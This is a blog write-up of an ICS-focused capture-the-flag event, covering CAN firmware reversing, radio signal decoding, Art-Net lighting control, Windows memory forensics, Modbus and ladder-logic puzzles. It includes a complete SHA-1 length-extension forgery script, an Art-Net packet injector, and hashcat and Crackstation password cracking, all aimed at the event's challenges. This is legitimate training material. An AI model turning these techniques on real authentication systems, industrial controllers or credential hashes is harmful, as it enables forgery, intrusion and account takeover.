It looks like there’s an else if where if DAT_00104017 == -0x17, then some things will work. It looks like we need to find what to send to make DAT_00104017 have the right value. Most of the other functions don’t have this sort of conditional logic.

The function just above it seems to take the parameter we provide and set the DAT_00104017 variable to it. So to solve this we need to send to ID: 6d2 the value e9 (two’s complement of -0x17).

The flag is: 6d2:e9

CAN You Fix It: Firmware – 2

This one took awhile, eventually I looked at this part:

I assumed this was if you sent a 0x600 CAN ID message you would trigger this FUN_001014ac:

The last function in this list was interesting:

It looks like it turns local_28 (the instruction ID) to 0x3c2; and sends 0x05 0xff 0xff 0x00 0xb0 0xd0 values.

This means the flag is: 3c2:05ffff00b0d0

CAN You Fix It: Firmware – 3

This is the one that got us, this is the one we couldn’t solve….

Turns out it’s a buffer overflow and not some sequence of CAN IDs+Data. 🙁

Modulation Interpretation Investigation

These challenges were based on an SDR capture.

Modulation Interpretation Investigation – 1

With this one, I used GNU Radio Companion because I could not get Inspectrum to install for the life of me. The capture file is here: https://drive.google.com/drive/folders/1muQKk38CaKsPu5XXlAfOhzof1EmAk46M?usp=sharing

With this I set the center frequency at 301 like the prompt said, I then throttled it and displayed a gain vs frequency graph as it played:

The second peak to the right kept popping up and down and it seemed to be at 304.14 or so. The 304.1 worked to solve the challenge.

Modulation Interpretation Investigation – 2

In this one, we are given two more capture files also found here: https://drive.google.com/drive/folders/1muQKk38CaKsPu5XXlAfOhzof1EmAk46M?usp=sharing

I know Universal Radio hacker is good at finding data in audio files so I decided to open that up and was happy right out of the gate.

We can see that there are 5 signal areas in each file which corresponds to when the buttons are being pressed:

When I highlight a section on button one, I get this output:

1011011001001011001011001001001001001

It sounds like each message starts with 1011 per the FCC documentation and then the rest is data. We’re also told that the data bits come in two forms: 001 for 0 and 011 for 1. If we remove the preamble (1011) from the start of the message for button press one, we have the following set of 3 character data bits:

011 001 001 011 001 011 001 001 001 001 001

That’s 11 data bits (1 0 0 1 0 1 0 0 0 0 0 0) and the 4 bit preamble. The answer of 11 solved the challenge.

Modulation Interpretation Investigation – 3

For this last challenge, we have to determine what data bits are sent with a different dip switch setting than what we have for the existing 2 captures. To figure this out, I first transcribed the data bits of each button press from each remote to see what changed based on the DIP configs between them (1001 and 1011).

I got this transcript:

If you look at the data, the first 4 bits of each seem to be the DIP setting (1001 and 1011), the rest of them, for buttons 1-5 after the first 4 bits are the same.

This meant to find the new setting we just had to encode the new DIP setting (1110) and then include the button 4 code (0000010), resulting in the 11 data bits of: 11100000010

Veilstone

This section was comprised of the following scenarios:

  • Burnt Bridge – Analysis of a memory dump from a compromised machine
  • Just Some Light Work – Analysis of production lighting control protocols
  • Ladder Logic of Success – Analysis of Modbus traffic and ladder logic to find the cause of anomalous behavior

Just Some Light Work

Just Some Light Work – 1

The files for this challenge can be found here: https://drive.google.com/drive/folders/1O591DmbvHIzI312nR5t7YoAUpddBfY_C?usp=sharing

This was a fun challenge! We’re given a PCAP of dmx traffic and have to find which light is over the podium. We know characteristics of the light (more red than the others).

Looking at the pcap, it is full of packets like these:

From the PDF we know there are 11 channels per light each of 1 byte in size:

To find the correct light, I wrote a script to read the packets and try to find the podium light. It looks through each and puts the red values from each light into a list of averages, we take the average and use that to find the light.

import pyshark
import numpy as np
import logging
import re

logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')

def parse_dmx_data(dmx_string):
    # Extract percentage values using regex
    percentages = re.findall(r'(\d+)%', dmx_string)
    return [int(p) for p in percentages]

def extract_dmx_data(pcap_file):
    cap = pyshark.FileCapture(pcap_file, display_filter='artnet')
    accumulated_data = []
    packet_count = 0

    for packet in cap:
        packet_count += 1
        logging.info(f"Processing packet {packet_count}")

        try:
            if 'DMX_CHAN' not in packet:
                logging.warning(f"Packet {packet_count} does not have a 'DMX_CHAN' layer")
                continue

            dmx_data = packet.dmx_chan.dmx_data
            logging.debug(f"Raw DMX data: {dmx_data}")

            dmx_values = parse_dmx_data(dmx_data)
            logging.debug(f"Parsed DMX values: {dmx_values}")

            accumulated_data.extend(dmx_values)

            # If we have accumulated enough data for all lights, process it
            if len(accumulated_data) >= 506:  # 46 lights * 11 channels
                lights_data = process_accumulated_data(accumulated_data[:506])
                cap.close()
                return lights_data

        except Exception as e:
            logging.error(f"Error processing packet {packet_count}: {str(e)}")

    cap.close()
    logging.warning("Finished processing all packets without accumulating enough data")
    return process_accumulated_data(accumulated_data)

def process_accumulated_data(data):
    lights_data = [[] for _ in range(46)]
    for light in range(46):
        start_index = light * 11
        light_values = data[start_index:start_index+11]
        lights_data[light] = light_values
        logging.debug(f"Light {light} values: {light_values}")
    return lights_data

def analyze_red_values(lights_data):
    red_averages = []
    for light_index, light_data in enumerate(lights_data):
        if not light_data:
            logging.warning(f"No data for light {light_index}")
            red_averages.append(0)
            continue
        red_value = light_data[4]  # Channel 5 is Red
        red_averages.append(red_value)
        logging.info(f"Light {light_index} red value: {red_value}")

    if all(avg == 0 for avg in red_averages):
        logging.error("No valid red values found for any light")
        return None

    podium_light = np.argmax(red_averages)
    return podium_light

# Main execution
pcap_file = '/mnt/c/Users/stewa/Downloads/capture_artifact.pcap'
logging.info(f"Starting analysis of {pcap_file}")
lights_data = extract_dmx_data(pcap_file)
podium_light = analyze_red_values(lights_data)

if podium_light is not None:
    logging.info(f"The light over the podium is likely light number: {podium_light}")
    print(f"The light over the podium is likely light number: {podium_light}")
else:
    logging.error("Unable to determine the podium light due to insufficient data")
    print("Unable to determine the podium light due to insufficient data")

I ran the script and found that the light is 25.

This gave us the correct flag.

Just Some Light Work – 2

This was another fun challenge, we need to send the appropriate packets at least 10x per second to the server for awhile until it sends a response back. I struggled hard with this one because….I counted wrong, 0-indexed values can get ya…

To format the flag properly, we need to know two configurations. 1 for the non-podium lights, another for the podium lights.

These are my functions for the two kinds of lights:


def get_podium_light_dmx():
    return bytes([
        128,  # Pan 50%
        128,  # Tilt 50%
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        0,    # Green 0%
        0,    # Blue 0%
        255,  # White 100%
        32,   # Shutter open
        255,  # Dimmer 100%
        255   # Zoom 100%
    ])

This is my full script:


import socket
import struct
import time

# Constants
DESTINATION_IP = "challenges.icsjwgctf.com"
DESTINATION_PORT = 6454  # Art-Net default port

# DMX Channels for Light over Podium (Light #25)
def get_podium_light_dmx():
    return bytes([
        128,  # Pan 50%
        128,  # Tilt 50%
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        0,    # Green 0%
        0,    # Blue 0%
        255,  # White 100%
        32,   # Shutter open
        255,  # Dimmer 100%
        255   # Zoom 100%
    ])

# DMX Channels for Remaining Lights (Blue-Green)
def get_other_lights_dmx():
    return bytes([
        128,  # Pan 50%
        0,    # Tilt 0% (Pointing up)
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        64,   # Green 25%
        179,  # Blue 70%
        0,    # White 0%
        32,   # Shutter open
        128,  # Dimmer 50%
        26    # Zoom 10%
    ])

# Craft the complete DMX data for 46 lights (512 channels)
def create_dmx_data():
    dmx_data = bytearray(512)
    
    # Place podium light DMX data at the correct position (Light #25 starts at channel 265)
    podium_dmx_data = get_podium_light_dmx()
    dmx_data[275:275 + len(podium_dmx_data)] = podium_dmx_data
    
    # Fill in other lights' DMX data for the remaining lights
    other_lights_dmx_data = get_other_lights_dmx()
    for i in range(46):
        if i != 25:  # Skip light 25, already set
            start_index = i * 11
            dmx_data[start_index:start_index + len(other_lights_dmx_data)] = other_lights_dmx_data
    
    return bytes(dmx_data)

# Art-Net packet creation with proper field handling 
def create_artnet_packet(dmx_data):
    packet = bytearray()

    # Art-Net ID ("Art-Net\x00")
    packet.extend(b'Art-Net\x00')

    # Correctly pack opcode (0x5000)
    packet.extend(struct.pack('<H', 0x5000))  # Opcode for ArtDMX (20480 in decimal)

    # Protocol version 
    packet.extend(struct.pack('>H', 14))  # ProtVer is 14

    # Sequence number and physical output port (1 byte each)
    packet.extend(bytes([0]))  # Sequence number (0 for simplicity)
    packet.extend(bytes([0]))  # Physical output port (0 for default)

    # Universe 
    packet.extend(struct.pack('>H', 0))  # Universe (set to 0 for default)

    # DMX data length
    packet.extend(struct.pack('>H', len(dmx_data)))  # DMX length (512 channels)

    # Add the DMX data
    packet.extend(dmx_data)

    return packet

# Function to send Art-Net packets
def send_packets():
    # Create UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Create DMX data and Art-Net packet
    dmx_data = create_dmx_data()
    packet = create_artnet_packet(dmx_data)
    
    try:
        while True:
            # Send packet
            sock.sendto(packet, (DESTINATION_IP, DESTINATION_PORT))
            print(f"Sent Art-Net packet to {DESTINATION_IP}:{DESTINATION_PORT}")
            
            # Receive response
            response, addr = sock.recvfrom(1024)
            print(f"Received response from {addr}:")
            print(f"Raw response: {response}")
            print(f"Hex response: {response.hex()}")
            
            # Try to decode the response as Art-Net
            if response.startswith(b'Art-Net\x00'):
                opcode = struct.unpack('<H', response[8:10])[0]
                print(f"Art-Net Opcode: 0x{opcode:04x}")
                
                if opcode == 0x2100:  # ArtPoll
                    print("Received ArtPoll packet")
                elif opcode == 0x2000:  # ArtPollReply
                    print("Received ArtPollReply packet")
                    # You can add more detailed parsing of ArtPollReply here
                elif opcode == 0x5000:  # ArtDmx
                    print("Received ArtDmx packet")
                    dmx_length = struct.unpack('>H', response[16:18])[0]
                    print(f"DMX data length: {dmx_length}")
                    print(f"DMX data: {response[18:18+dmx_length].hex()}")
                else:
                    print(f"Unknown Art-Net packet type: 0x{opcode:04x}")
            else:
                print("Received non-Art-Net response")
            
            time.sleep(0.05)  # 10 Hz (0.1 second interval)
            
    except KeyboardInterrupt:
        print("Stopping packet sending.")
    
    finally:
        sock.close()

# Main function
if __name__ == "__main__":
    send_packets()

The thing which tripped me up was this line: dmx_data[275:275 + len(podium_dmx_data)] = podium_dmx_data I was trying to be smart by inserting the correct data in at that point. However, like an idiot, I was off by 1 light’s distance and spent HOURS working on this.

Once I realized that though, I send the message through for about 10-15 seconds and it started giving the correct reply!

Just Some Light Work – 3

Files available here: https://drive.google.com/drive/folders/1O591DmbvHIzI312nR5t7YoAUpddBfY_C?usp=drive_link

This challenge was fun, the video is a flashing screen and the audio is a toggling beep. My first thought was that this was bits at some line rate but none of the analysis worked successfully and I just had a lot of gibberish binary data.

My teammade @4ndr got this solve by realizing it was Morse code and decoding it!

Burnt Bridge

I always enjoy windows forensics challenges and this was no different. I wish it went a bit deeper but it was nevertheless very fun!

Burnt Bridge – 1

Here’s the memdump file for these challenges: https://drive.google.com/drive/folders/1Pk39_C06Zdljz8GE14EC4nCVMS_qWPbn?usp=drive_link

We use Volatility a TON for this challenge. For this first one, we do ‘imageinfo’ to find out about it!

We see it’s either WinXPSP2x86 or WinXPSP3x86. It was SP3.

Burnt Bridge – 2

For this one, we’d need to find which browser and process ID it’s running under. We use the pslist command to do this:

Burnt Bridge – 3

For this one, we need to extract the binary of the running process and get the version of it.

First, I listed the binaries to find the firefox binary:

From this, I find the information to dump the binary itself:

Here’s the result where we can see it’s version 52.9.0

Burnt Bridge – 4

For this one, we want to look at the firefox history for something which indicates this web console.

I’m sure there’s a good volatility way to do this but I just decided to look for the strings in the memory dump:

Burnt Bridge – 5

For this one, we need to look at the recent connections to try to find an RDP session. We run connscan and then look for 3389 (RDP port) and find the flag that way:

Burnt Bridge – 6

In looking at that, we also see one other weird outbound connection to port 4444 which is often used as a port for hacking stuff for some reason. The PID of this is 972.

We can run pslist again and see that PID 972 is associated with a svchost.exe process:

Burnt Bridge – 7

For the last challenge we have to find a username and password from a suspicious zip file included in the memdump. Since we know it’s a zip file, I decided to do a filescan and search for zip:

From this, we see two suspicious files – stuff.zip on the desktop and in the ‘My Documents’ folders.

I then use this command to download the output: .\volatility.exe -f memdump.raw --profile=WinXPSP3x86 dumpfiles -Q 0x213b808 -D output_directory/

Looking into the zip file we see a lot of files:

The most promising of these is ‘hash.txt’ which may contain NTLM/LM hashes for the Windows users.

We get this from the files:

I then went to Crackstation to drop the hash in and see the value:

So there we go! vailstoan:cheesecake for the win.

Ladder Logic of Success

Ladder Logic of Success – 1

For this one, I was pretty unsure what to look for but decided to start with the Modbus dashboard in Malcolm. There was already a nice table made of ‘modbus writes’ and looking at the values, there was one obvious outlier:

I put in 13337 and we got the first flag.

Ladder Logic of Success – 2

I filtered based on the IP address identified with the 13337 value before and found the ‘modbuls detailed’ chart while also filtering it to the READ_COILS event. This gave a nice table of results. It looked like the rows had a bunch of T/F values and were limited to 1 ‘T’ per line.

I did a search with highlight on the data and saw when 2 ‘T’ values started showing up in the same row:

Ladder Logic of Success – 3

In this image we see a logic diagram:

I don’t really know what is going on here but it looked like a bunch of stuff went into SubRoutine so I tried that (after FourHundredFortyOneConst since that was suspicious sounding.

Ladder Logic of Success – 4

In this case we are told that all pumps were set to a value of 10 when weird things happened. It looks like IN1,IN2, IN3,IN4 in the chart need to add to 441 to trigger the subroutine.

Looking closely at this, we can start to determine items fro mthe chart:

The ‘eq’ check of the subrouting is seeing if the values add to 441.

The prior step of that has 3 variables and then an input which comes from a MUL step previously. The MUL is done against 2 Pumps. Per the prompt, we know the pumps are all set to 10. Therefore we know IN1 is equal to 100.

Working backwards we see an add step which has an input of ‘TenConst’ which I assume iss 10 and an input of a prior ‘MUL’ step. It outputs whatever Variable3 is equal to.

If we step back to the MUL we see it is ‘Valve1Opened’ and a Pump multiplied together. Since we know the pump is 10 we need to figure out what Valve1 is. Looking at the bottom line we see that when the subroutine happens (which seems to turn everything off) we set the Valve#Opened states to 0. I would assume the ‘on’ state would be 1 in that case. This was a BAD mistake. I should have made it more of an algebra equasion. Looking above we see liens 2 and 3 seems to show the OperatorPumpSPD goes to the PumpSPD, then beneath it a parallel OperatorValve# to Valve#Opened assignments. I’m not sure how we were supposed to figure it but if we assume the opened value is 10 instead of one, we’re able to make sense of the output. I think you can do this by an algebra in the form of:

x*10 = (x*10) + 12 = Var1 = IN2
x*10 = (x*10) + 19 = Var2 = IN3
x*10 = (x*10) + 10 = Var3 = IN4
10 * 10 = 100 = IN1

(x * 10) + 12 + (x*10) + 19 + (x*10) + 10 + 100 = 441

(x*10) + (x*10) + (x*10) = 300

x = 10

If x = 10 our for IN values are:

IN1=112
IN2=119
IN3=110
IN4=100

Those decimal numbers to ASCII spell “pwnd”. This was the flag.

Elite Four

We finally made it. The last challenge is worth a whopping 860 points and is a combination of 4 challenges.

The challenge files can be found here: https://drive.google.com/drive/folders/1it7Gj-kMtiIoQkNLLXjYA5RAL8k03Nxq?usp=drive_link

The 4 unlock codes were received by completing the various scenarios and are:

Celestic Password: 610148e588a2bb81387c501f603c194586cc16dc
Jubilife Password: 30272a6cf9420ad29110a84c700f5c7db2fde08d
Veilstone Password: dce1a3126f787599bf7decdbfc1e61bcdd6c3a71
Snowpoint Password: daf7d54bf712268be36a79a035e9fc362271aab4

The final solve is:

So let’s go through these 4!

Celestic Challenge:

In order for Aaron Celestic to provide you his secret key, he first wants you to answer some questions.

The good news is they are simple questions...the bad news is there are A LOT of them (hundreds).

All challenges contain binary operations and operands and answers are provided in hex. Aaron is quite particular about his answers, and will only accept answers in hex with prefix 0x.

Examples:
* 0x05 = valid answer
* 0x5  = invalid answer
* 05   = invalid answer
* 5    = invalid answer

Aaron's initial password for accessing his questions is "yanmega" and he is waiting for you to reach out to him at "challenges.icsjwgctf.com:9001".

Answer all of Aaron's questions correctly and he will tell you his secret key.

Good luck!

This one wasn’t too hard, after connecting a few times to see what the challenges looked like, I wrote a python script to solve the questions and get the flag:


import socket
import re
import time

def connect_to_server(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    return sock

def receive_data(sock, timeout=5):
    sock.settimeout(timeout)
    data = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            if b"\n" in chunk:
                break
    except socket.timeout:
        pass
    sock.settimeout(None)
    return data.decode().strip()

def send_data(sock, data):
    sock.sendall(f"{data}\n".encode())

def solve_binary_operation(operation):
    parts = re.findall(r'0x[\dA-Fa-f]+|>>|<<|\w+', operation)
    if len(parts) != 3:
        raise ValueError(f"Invalid operation format: {operation}")

    left, op, right = parts
    left = int(left, 16)
    right = int(right, 16) if '0x' in right else int(right)

    if op == 'OR':
        result = left | right
    elif op == 'AND':
        result = left & right
    elif op == 'XOR':
        result = left ^ right
    elif op == 'SUB':
        result = left - right
    elif op == 'ADD':
        result = left + right
    elif op == 'MUL':
        result = left * right
    elif op == 'DIV':
        result = left // right  # Integer division
    elif op == '>>':
        result = left >> right
    elif op == '<<':
        result = left << right
    else:
        raise ValueError(f"Unknown operator: {op}")

    # Ensure the result is positive and within 32-bit range
    result = result & 0xFFFFFFFF

    hex_result = f"0x{result:02X}"
    return hex_result

def main():
    host = "challenges.icsjwgctf.com"
    port = 9001
    password = "yanmega"

    sock = connect_to_server(host, port)

    # Receive initial prompt and send password
    data = receive_data(sock)
    print(f"Received: {data}")
    send_data(sock, password)

    challenge_count = 0

    while True:
        data = receive_data(sock)
        print(f"Received: {data}")

        if not data:
            print("Received empty response. Waiting for next challenge...")
            time.sleep(1)
            continue

        if "Incorrect" in data:
            print(f"Error: Incorrect answer after {challenge_count} challenges")
            break
        elif "secret key" in data.lower():
            print(f"Success! Secret key found after solving {challenge_count} challenges.")
            break

        # Extract the binary operation
        match = re.search(r'Challenge:\s*(.*?)\s*:', data)
        if match:
            operation = match.group(1)
            try:
                answer = solve_binary_operation(operation)
                challenge_count += 1
                print(f"Challenge {challenge_count}: Sending answer: {answer}")
                send_data(sock, answer)
            except ValueError as e:
                print(f"Error after {challenge_count} challenges: {e}")
                break
        else:
            print("No question found. Continuing...")

    sock.close()

if __name__ == "__main__":
    main()

The result:

Veilstone’s Challenge

Here’s the text of Veilstone’s challenge:

Lucian Veilstone wants to test our your psychic cryptography capabilities before providing you his flag.

Lucian is using a SHA-1 secret-prefix HMAC for authentication SHA-1(key + message).

For instance, if his key was "\x63\x68\x61\x6e\x67\x69\x6e\x67\x5f\x73\x65\x63\x72\x65\x74\x5f\x6b\x65\x79\x21" (changing_secret_key!) and message was "super secret message", the SHA-1 HMAC would be:
SHA-1("changing_secret_key!super secret message") = 013fa8d0c73faacb43f09d6e1a29ec6f93d1159d

Lucian is constantly changing his key, but luckily all of his keys are always 20 characters/bytes long. 

Lucian's messages are always "mr.mime;espeon;bronzong;alakazam;", but he would like you to break his SHA-1 HMAC by sending him a new/forged message and HMAC without knowing the key.

Lucian requires the forged message you send him to contain both the original message "mr.mime;espeon;bronzong;alakazam;" and a new string ";gallade;".

If you reach out to Lucian at "challenges.icsjwgctf.com:9003" and provide him the password "crypto_psychic", he will give you his message and resulting HMAC and then ask you for your new/forged message. If your message contains the correct strings and the HMAC is verified against his key, he will provide you his secret key.

This uses an attack called the ‘SHA Length Expansion’ attack which, when given some information, lets you sign a message as someone even if you don’t have their secret key:

import hashlib
import struct
import socket
import time
import binascii  # Added for better binary data handling


def sha1(message):
    return hashlib.sha1(message).digest()


def sha1_padding(message):
    ml = len(message) * 8
    message += b'\x80'
    message += b'\x00' * ((56 - (len(message) % 64)) % 64)
    message += struct.pack('>Q', ml)
    return message


def sha1_state(digest):
    return struct.unpack('>5I', digest)


def sha1_compress(state, block):
    w = list(struct.unpack('>16I', block)) + [0] * 64

    for i in range(16, 80):
        w[i] = ((w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) << 1) | (
            (w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) >> 31
        )
        w[i] &= 0xffffffff  # Ensure w[i] remains within 32 bits

    a, b, c, d, e = state

    for i in range(80):
        if i < 20:
            f = (b & c) | ((~b) & d)
            k = 0x5A827999
        elif i < 40:
            f = b ^ c ^ d
            k = 0x6ED9EBA1
        elif i < 60:
            f = (b & c) | (b & d) | (c & d)
            k = 0x8F1BBCDC
        else:
            f = b ^ c ^ d
            k = 0xCA62C1D6

        temp = ((a << 5) | (a >> 27)) + f + e + k + w[i]
        temp &= 0xffffffff  # Ensure temp remains within 32 bits

        e = d
        d = c
        c = ((b << 30) | (b >> 2)) & 0xffffffff
        b = a
        a = temp

    return (
        (state[0] + a) & 0xffffffff,
        (state[1] + b) & 0xffffffff,
        (state[2] + c) & 0xffffffff,
        (state[3] + d) & 0xffffffff,
        (state[4] + e) & 0xffffffff,
    )


def sha1_length_extension(original_message, original_hash, append_message, key_length):
    print("[*] Starting SHA-1 Length Extension Attack")
    
    state = sha1_state(bytes.fromhex(original_hash))
    print(f"[*] Original SHA-1 State: {state}")

    original_message_bytes = original_message.encode()
    simulated_key = b'A' * key_length
    print(f"[*] Simulated Key (hidden): {'A' * key_length}")

    padded_original = sha1_padding(simulated_key + original_message_bytes)
    print(f"[*] Padded Original Message Length: {len(padded_original)} bytes")

    padding = padded_original[key_length + len(original_message_bytes):]
    print(f"[*] Extracted Padding: {padding.hex()}")

    new_message = original_message_bytes + padding + append_message.encode()
    print(f"[*] New Message Length: {len(new_message)} bytes")
    print(f"[*] New Message (hex): {new_message.hex()}")

    state = sha1_state(bytes.fromhex(original_hash))
    for i in range(0, len(padding + append_message.encode()), 64):
        block = (padding + append_message.encode())[i:i+64].ljust(64, b'\x00')
        state = sha1_compress(state, block)

    new_hash = struct.pack('>5I', *state).hex()
    print(f"[*] Forged HMAC: {new_hash}")

    return new_message, new_hash


def solve_challenge():
    host = "challenges.icsjwgctf.com"
    port = 9003

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        try:
            print(f"[*] Connecting to {host}:{port}")
            s.connect((host, port))
            s.settimeout(30)  # 30 seconds timeout

            # Receive initial prompt
            initial_prompt = s.recv(1024).decode().strip()
            print(f"Server: {initial_prompt}")

            # Send password
            password = "crypto_psychic\n".encode()
            s.sendall(password)
            print(f"[*] Sent password: {password.decode().strip()}")

            # Receive original message and HMAC
            response = s.recv(1024).decode().strip()
            print(f"Server response: {response}")

            # Split the response into message, HMAC, and forged message prompt
            try:
                lines = response.split("\n")
                message_part = lines[0]
                hmac_part = lines[1]
                forged_prompt = lines[2] if len(lines) > 2 else ""

                actual_message = message_part.split("Lucian's Message: ")[1].strip()
                original_hmac = hmac_part.split("Lucian's HMAC:")[1].strip()
                print(f"[*] Actual Message: {actual_message}")
                print(f"[*] Original HMAC: {original_hmac}")
                print(f"[*] Forged Message Prompt: {forged_prompt}")
            except Exception as e:
                print(f"[!] Failed to parse server response: {e}")
                print(f"[!] Full server response: {response}")
                return

            print("[*] Preparing to perform length extension attack...")
            
            # Perform length extension attack
            try:
                key_length = 20
                append_message = ";gallade;"  # Add back the leading semicolon
                new_message, new_hmac = sha1_length_extension(
                    actual_message, original_hmac, append_message, key_length
                )
                print("[*] Length extension attack completed successfully.")
                
                # New logging for forged message details
                print("\n[*] Forged Message Details:")
                print(f"    - Original Message: {actual_message}")
                print(f"    - Appended Text: {append_message}")
                print(f"    - Full Forged Message (hex): {new_message.hex()}")
                print(f"    - Full Forged Message (ascii, non-printable chars replaced):")
                print(f"      {new_message.decode('ascii', errors='replace')}")
                print(f"    - Forged Message Length: {len(new_message)} bytes")
                print(f"    - Forged HMAC: {new_hmac}\n")
            except Exception as e:
                print(f"[!] Error during length extension attack: {e}")
                return

            # Send the forged message (only the visible part)
            try:
                print("[*] Sending Forged Message to Server...")
                visible_message = actual_message + append_message
                s.sendall(visible_message.encode() + b"\n")
                print(f"[*] Sent Forged Message: {visible_message}")
            except Exception as e:
                print(f"[!] Error sending forged message: {e}")
                return

            # Receive prompt for forged HMAC
            try:
                forged_prompt = s.recv(1024).decode().strip()
                print(f"Server: {forged_prompt}")
            except socket.timeout:
                print("[!] Timeout while waiting for server prompt after sending forged message.")
                return
            except Exception as e:
                print(f"[!] Error receiving server prompt after forged message: {e}")
                return

            # Send forged HMAC
            try:
                print("[*] Sending Forged HMAC to Server...")
                s.sendall((new_hmac + "\n").encode())
                print(f"[*] Sent Forged HMAC: {new_hmac}")
            except Exception as e:
                print(f"[!] Error sending forged HMAC: {e}")
                return

            # Receive response
            try:
                print("[*] Waiting for server response...")
                response = s.recv(4096).decode().strip()
                print(f"Server Response: {response}")
                
                # You can add more specific checks here
                if "Congratulations" in response:
                    print("[*] Challenge solved successfully!")
                elif "Invalid" in response:
                    print("[!] The server rejected our forged message or HMAC.")
                else:
                    print("[?] Unexpected server response. Please check the output.")
            except socket.timeout:
                print("[!] Timeout while waiting for final server response.")
            except Exception as e:
                print(f"[!] Error receiving final server response: {e}")

        except socket.timeout:
            print("[!] Socket timeout occurred. The server didn't respond in time.")
        except Exception as e:
            print(f"[!] An unexpected error occurred: {e}")

if __name__ == "__main__":
    solve_challenge()

This python is buggy because I am a bad programmer BUT it worked.

Jubilee

Bertha Jubilife hid her flag in the specially crafted zip file: jubilife_challenge.zip.

Bertha has a favorite password TYPE, and luckily she only uses lowercase dictionary words for all her passwords.

The zip file can be found here: https://drive.google.com/drive/folders/1it7Gj-kMtiIoQkNLLXjYA5RAL8k03Nxq?usp=drive_link

Thanks to Ermac from team CoB for sharing their solution to this one:

  1. hashcat.exe -m 17200 -a 0 jubilife_challenge_hash.txt gutenberg-all-lowercase-words.txt –show
  2. UNZIP=’-P ground’ binwalk -Mre jubilife_challenge.zip
  3. ..\steghide\steghide.exe extract -sf jubilife_challenge.jpg
  4. cat jubilife_secret.txt
    Congratulations! You have completed Bertha Jubilfie’s challenge.
    Bertha’s Secret Key is: ce1e5df1d63331a93fd9f99b2a3a62d795364ad7

This was a stego challenge with the data hidden in the jpg file.

Snowpoint Challenge:

This zip contains a readme and a binary file:

Flint Snowpoint hid his secret key on his remote server located at "challenges.icsjwgctf.com:9002".
His server is running the "snowpoint_connection" executable.

This is a pretty straightforward remote buffer overflow challenge.

Introductions & Conclusion Challenges

The following challenges were ‘Introductions’ to various scenarios, they mostly included the answer or were a simple action to get the flag. They were worth 50 points each. Here’s what they generally looked like:

This is the list of Introduction challenges:

  • CTF Introduction
  • ICS & Security Basics – Introductions
  • Introduction to Malcolm
  • Celestic Introduction
  • Jubilife Introduction
  • Snowpoint Introduction
  • Veilstone Introduction

Total points for intro challenges: 350

The following challenges ask for feedback on their scenario. They were primarily in the form of something like this:

Here is the complete list of feedback challenges:

  • ISC & Security Basics – Conclusion
  • Introduction to Malcolm – Conclusion
  • Remotely Exploitative – Conclusion
  • RAT from powersHELL – Conclusion
  • Dropping BOMs – Conclusion
  • An Alarming BAC(net) Pain – Conclusion
  • The History Channel – Conclusion
  • Chrome-Plated Nonsense – Conclusion
  • The Phish Tank – Conclusion
  • CAN You Fix It? Dashboard – Conclusion
  • CAN You Fix It? Firmware – Conclusion
  • Modulation Interpretation Investigation – Conclusion
  • Ladder Logic of Success – Conclusion
  • Just Some Light Work – Conclusion
  • Burnt Bridge – Conclusion

Total points for Conclusion challenges: 75

There was one other type of conclusion for the four main scenarios (Veilstone, Jubilife, etc). These were worth 105 points and included codes to unlock parts of the ‘Elite Four’ challenge. These looked like this:

Celestic didn’t explicitly have this challenge instead it had the Elite Four challenge which included this info:

I didn’t have a screenshot of the Snowpoint challenge but it had the following as its password: daf7d54bf712268be36a79a035e9fc362271aab4

Total Points: 315 (Plus the unlock of the Elite Four challenges)

Acknowlegements

Special thanks to the following people for helping with the writeup or during the CTF, y’all are great!

  • rfhacker for the invite and time on the CTF!
  • 4ndr for some excellent solves and spending their limited time on the CTF.
  • Ermac for helping get information on the challenges our team didn’t solve.
  • DennisLinuz for explaining how the final CAN challenge worked!
Leave a Reply

Your email address will not be published. Required fields are marked *